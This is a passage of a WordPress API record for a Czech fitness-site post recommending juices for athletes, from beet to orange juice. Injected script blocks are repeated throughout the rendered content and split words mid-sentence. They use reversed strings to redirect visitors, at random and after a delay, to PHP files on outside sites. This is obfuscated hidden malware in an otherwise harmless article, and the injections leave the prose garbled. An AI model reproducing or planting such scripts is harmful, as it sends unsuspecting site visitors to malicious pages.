$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce skv\u011blou volbou. A n\u011bjak\u00e9 dal\u0161\u00ed nev\u00fdhody krom\u011b p\u0159idan\u00e9ho cukru? Mnoho jable\u010dn\u00fdch d\u017eus\u016f obsahuje pesticidy a vosky (pou\u017e\u00edvaj\u00ed se na \u00fapravu slupky). Je pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to t\u0159eba vyb\u00edrat opravdu kvalitn\u00ed \u0161\u0165\u00e1vy, ve kter\u00fdch ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u0161kodliv\u00e9 l\u00e1tky ani p\u0159idan\u00e9 cukry nejsou.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280-1024x682.jpg\" alt=\"\" class=\"wp-image-920\" width=\"243\" height=\"162\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280-1024x682.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280-1200x800.jpg 1200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2023\/08\/orange-1921548_1280.jpg 1280w\" sizes=\"auto, (max-width: 243px) 100vw, 243px\" \/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">7) POMERAN\u010cOV\u00c1 \u0160\u0164\u00c1VA<\/h4>\n\n\n\n<p>Pomeran\u010dov\u00e1 \u0161\u0165\u00e1va je skv\u011bl\u00fdm zdrojem vitaminu C, vl\u00e1kniny a kyseliny lis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9, co\u017e jsou l\u00e1tky, kter\u00e9 podle v\u011bdc\u016f sni\u017euj\u00ed riziko kardiovaskul\u00e1rn\u00edch chorob. Bohu\u017eel mnoho v\u00fdrobc\u016f prodlu\u017euje trvanlivost pomeran\u010dov\u00e9ho d\u017eusu p\u0159id\u00e1n\u00edm nejr\u016fzn\u011bj\u0161\u00edch l\u00e1tek, aby \u0161\u0165\u00e1va vydr\u017eela dlouh\u00e9 m\u011bs\u00edce ve velk\u00fdch n\u00e1dr\u017e\u00edch. Volte pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejl\u00e9pe ty druhy ozna\u010den\u00e9 jako &#8222;\u010derstv\u011b vyma\u010dkan\u00e1&#8220;. Ty nejsou z koncentr\u00e1tu, ani neobsahuj\u00ed konzerva\u010dn\u00ed l\u00e1tky.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Co byste m\u011bli p\u00edt v posilovn\u011b i mimo ni, abyste svoje t\u011blo dostate\u010dn\u011b hydratovali? Nejlep\u0161\u00ed je samoz\u0159ejm\u011b voda. Ale a\u010dkoliv se ve spojen\u00ed s d\u017eusy \u010dasto mluv\u00ed o vysok\u00e9m pod\u00edlu cukru, i ovocn\u00e9 \u010di zeleninov\u00e9 \u0161\u0165\u00e1vy mohou b\u00fdt cestou ke kvalitn\u00ed hydrataci, jen mus\u00edte v\u011bd\u011bt, kter\u00e9 jsou pro v\u00e1s vhodn\u00e9 a kter\u00fdm je naopak lep\u0161\u00ed se vyhnout. 1) \u0160\u0164\u00c1VA Z \u010cERVEN\u00c9 \u0158EPY Sportovci s nad\u0161en\u00edm objevuj\u00ed \u0161\u0165\u00e1vu z \u010derven\u00e9 \u0159epy a jej\u00ed schopnost podpo\u0159it transport kysl\u00edku do vy\u010derpan\u00fdch sval\u016f. Z tohoto d\u016fvodu je tento n\u00e1poj op\u011bvovan\u00fdm potr\u00e9ninkov\u00fdm drinkem.\u00a0 A v\u00fdsledkem je tak\u00e9 n\u00e1r\u016fst popularity p\u0159\u00edchut\u011b &#8222;\u010derven\u00e1 \u0159epa&#8220;. 2) TOMATOV\u00c1 \u0160\u0164\u00c1VA Raj\u010data obsahuj\u00ed celou \u0159adu zaj\u00edmav\u00fdch l\u00e1tek. Jednou z nich je lykopen, kter\u00fd m\u00e1 zvl\u00e1\u0161\u0165 blahod\u00e1rn\u00e9 \u00fa\u010dinky. B\u00fdv\u00e1 spojov\u00e1n s \u00fa\u010dinnou prevenc\u00ed cel\u00e9 \u0159ady onemocn\u011bn\u00ed a je velmi siln\u00fdm antioxidantem, co\u017e se po tr\u00e9ninku hod\u00ed. Velkou nev\u00fdhodou tomatov\u00e9 \u0161\u0165\u00e1vy je jej\u00ed vysok\u00fd obsah sod\u00edku. Tomu se m\u016f\u017eete vyhnout jedin\u011b, kdy\u017e budete vyb\u00edrat speci\u00e1ln\u011b upraven\u00e9 produkty se sn\u00ed\u017een\u00fdm nebo nulov\u00fdm obsahem soli. 3) \u0160\u0164\u00c1VA Z GRAN\u00c1TOV\u00ddCH JABLEK Toto \u0161\u0165avnat\u00e9 \u010derven\u00e9 ovoce je pova\u017eov\u00e1no za z\u00e1zra\u010dn\u00e9, nebo\u0165 nab\u00edz\u00ed t\u0159ikr\u00e1t v\u00edce antioxidant\u016f ne\u017e zelen\u00fd \u010daj nebo \u010derven\u00e9 v\u00edno. Gran\u00e1tov\u00e1 jablka maj\u00ed antioxida\u010dn\u00ed, protivirov\u00fd a protirakovinov\u00fd \u00fa\u010dinek. A co nedostatky? Leda vysok\u00e9 mno\u017estv\u00ed cukru. Diabetici by si na tuhle \u0161\u0165\u00e1vu m\u011bli d\u00e1vat pozor, m\u016f\u017ee toti\u017e zp\u016fsobit rapidn\u00ed n\u00e1r\u016fst hladiny cukru. A sou\u010dasn\u011b hroz\u00ed interakce s n\u011bkter\u00fdmi l\u00e9ky. Pokud tedy m\u00e1te cukrovku nebo pre-diabetick\u00e9 pot\u00ed\u017ee, rad\u011bji se t\u00e9to \u0161\u0165\u00e1v\u011b vyhn\u011bte. 4) MRKVOV\u00c1 \u0160\u0164\u00c1VA Mrkev obsahuje beta karoten, kter\u00fd &#8211; jak prokazuje mnoho studi\u00ed &#8211; m\u00e1 zna\u010dn\u00fd vliv na pos\u00edlen\u00ed imunity, chr\u00e1n\u00ed na\u0161i ple\u0165 a zrak, plus bojuje proti po\u0161kozen\u00ed ze strany voln\u00fdch radik\u00e1l\u016f. V kombinaci s ko\u0159en\u00edm, jako je z\u00e1zvor a kurkuma, z\u00edsk\u00e1te opravdu \u00fa\u010dinn\u00fd antioxida\u010dn\u00ed n\u00e1poj. A nev\u00fdhody? V\u00fdroba dom\u00e1c\u00ed mrkvov\u00e9 \u0161\u0165\u00e1vy je velice n\u00e1ro\u010dn\u00e1. Proto je v\u017edycky lep\u0161\u00ed ji koupit. Ov\u0161em mus\u00edte myslet na trvanlivost. \u010c\u00edm d\u00e9le je \u0161\u0165\u00e1va skladov\u00e1na, t\u00edm v\u00edce kles\u00e1 pod\u00edl \u017eivin. \u010cerstv\u00e1 je nejlep\u0161\u00ed. 5) \u0160\u0164\u00c1VA Z KRVAV\u00ddCH POMERAN\u010c\u016e \u0160\u0165\u00e1va z krvav\u00fdch pomeran\u010d\u016f obsahuje d\u016fle\u017eit\u00e9 anthocyaniny, antioxidanty odpov\u011bdn\u00e1 za tuto charakteristickou barvu du\u017einy. Ned\u00e1vno proveden\u00e9 klinick\u00e9 studie ukazuj\u00ed, \u017ee 3,5 dcl \u0161\u0165\u00e1vy z \u010derven\u00fdch pomeran\u010d\u016f v\u00e1s ochr\u00e1n\u00ed p\u0159ed voln\u00fdmi radik\u00e1ly na cel\u00fd den. A stinn\u00e9 str\u00e1nky? Dostupnost. Krvav\u00e9 pomeran\u010de nejsou b\u011b\u017en\u011b dostupn\u00e9, nicm\u00e9n\u011b popt\u00e1vka roste, tak\u017ee doufejme, \u017ee se situace zlep\u0161\u00ed. 6) JABLE\u010cN\u00c1 \u0160\u0164\u00c1VA Mnoho lid\u00ed se jable\u010dn\u00e9 \u0161\u0165\u00e1v\u011b vyh\u00fdb\u00e1, proto\u017ee si mysl\u00ed, \u017ee obsahuje p\u0159\u00edli\u0161 mnoho cukru. Co\u017e je u n\u011bkter\u00fdch doslazovan\u00fdch variant pravda, ale \u010dist\u00e1 \u0161\u0165\u00e1va z jablek je pro sportovce skv\u011blou volbou. A n\u011bjak\u00e9 dal\u0161\u00ed nev\u00fdhody krom\u011b p\u0159idan\u00e9ho cukru? Mnoho jable\u010dn\u00fdch d\u017eus\u016f obsahuje pesticidy a vosky (pou\u017e\u00edvaj\u00ed se na \u00fapravu slupky). Je proto t\u0159eba vyb\u00edrat opravdu kvalitn\u00ed \u0161\u0165\u00e1vy, ve kter\u00fdch tyto \u0161kodliv\u00e9 l\u00e1tky ani p\u0159idan\u00e9 cukry nejsou. 7) POMERAN\u010cOV\u00c1 \u0160\u0164\u00c1VA Pomeran\u010dov\u00e1 \u0161\u0165\u00e1va je skv\u011bl\u00fdm zdrojem vitaminu C, vl\u00e1kniny a kyseliny listov\u00e9, co\u017e jsou l\u00e1tky, kter\u00e9 podle v\u011bdc\u016f sni\u017euj\u00ed riziko kardiovaskul\u00e1rn\u00edch chorob. Bohu\u017eel mnoho v\u00fdrobc\u016f prodlu\u017euje trvanlivost pomeran\u010dov\u00e9ho d\u017eusu p\u0159id\u00e1n\u00edm nejr\u016fzn\u011bj\u0161\u00edch l\u00e1tek, aby \u0161\u0165\u00e1va vydr\u017eela dlouh\u00e9 m\u011bs\u00edce ve velk\u00fdch n\u00e1dr\u017e\u00edch. Volte proto nejl\u00e9pe ty druhy ozna\u010den\u00e9 jako &#8222;\u010derstv\u011b vyma\u010dkan\u00e1&#8220;. Ty nejsou z koncentr\u00e1tu, ani neobsahuj\u00ed konzerva\u010dn\u00ed l\u00e1tky.<\/p>\n","protected":false},"author":2,"featured_media":919,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-913","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=913"}],"version-history":[{"count":1,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/913\/revisions"}],"predecessor-version":[{"id":922,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/913\/revisions\/922"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/919"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}